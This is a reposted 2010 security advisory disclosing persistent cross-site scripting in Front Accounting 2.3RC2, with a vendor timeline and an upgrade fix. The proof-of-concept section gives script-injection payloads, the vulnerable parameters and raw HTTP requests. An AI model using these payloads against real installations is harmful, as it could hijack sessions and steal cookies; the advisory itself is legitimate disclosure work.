Author

Cybsec Labs

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-14889

Category

web applications

Date add

18-11-2010

Platform

php

===============================================================
Front Accounting 2.3RC2 Multiple Persistent XSS Vulnerabilities
===============================================================

Affected Applications: Front Accounting v2.3RC2; other versions may also be affected.
 
Affected Platforms: Any running Front Accounting v2.3RC2
 
Local / Remote: Remote
 
Severity: High - CVSS: 5.8 (AV:N/AC:M/Au:NR/C:N/I:P/A:P)
 
Researcher: Juan Manuel Garcia
 
Vendor Status: Acknowedged
 
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
 
Vulnerability Description:
 
Multiple Persistent Cross-Site vulnerabilities were found in Front Accounting v2.3RC2, because the
 
application fails to sanitize the response before it is returned to the user. This can be exploited to
 
execute arbitrary script and HTML code in a user's browser session. This may allow the attacker to
 
steal the user's cookie and to launch further attacks.
 
The parameter 'trans_no' in /purchasing/allocations/supplier_allocate.php is not properly sanitized.
 
The parameter 'PONumber' in /purchasing/po_receive_items.php is not properly sanitized.
 
Other parameters might also be affected.
 
Proof of Concept:
 
* The parameter 'trans_no' in the POST request has been set to:
 
<script>alert(165602)</script>
 
GET /purchasing/allocations/supplier_allocate.php?trans_type=1 HTTP/1.0
 
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
 
Accept: */*
 
Accept-Language: en-US
 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
 
Host: next.frontaccounting.eu
 
Referer: http://next.frontaccounting.eu/purchasing/allocations/supplier_allocation_main.php
 
* The parameter 'PONumber' in the POST request has been set to:
 
<script>alert(188214)</script>
 
GET /purchasing/po_receive_items.php?PONumber= HTTP/1.0
 
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
 
Accept: */*
 
Accept-Language: en-US
 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
 
Host: next.frontaccounting.eu
 
Referer: http://next.frontaccounting.eu/purchasing/inquiry/po_search.php
 
Impact:
 
An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an
 
attacker may obtain authorization cookies that would allow him to gain unauthorized access to the
 
application.
 
Solution:
 
Upgrade to FrontAccounting v2.3RC3
 
Vendor Response:
 
2010-10-12 - Vulnerability was identified
 
2010-10-13 - Vendor contacted
 
10/16/2010 Vendor confirmed vulnerability
 
10/19/2010 Vendor says that the bug will we fixed in FrontAccounting v2.3RC3
 
10/29/2010 Vulnerability was released
 
Contact Information:
 
For more information regarding the vulnerability feel free to contact the researcher at
 
jmgarcia <at> cybsec <dot> com
 
About CYBSEC S.A. Security Systems
 
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
 
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
 
proof of their professional life.
 
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
 
software and/or hardware provider companies.
 
Our services are strictly focused on Information Security, protecting our clients from emerging security
 
threats, maintaining their IT deployments available, safe, and reliable.
 
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
 
and contributing with the security community with high quality information exchange.
 



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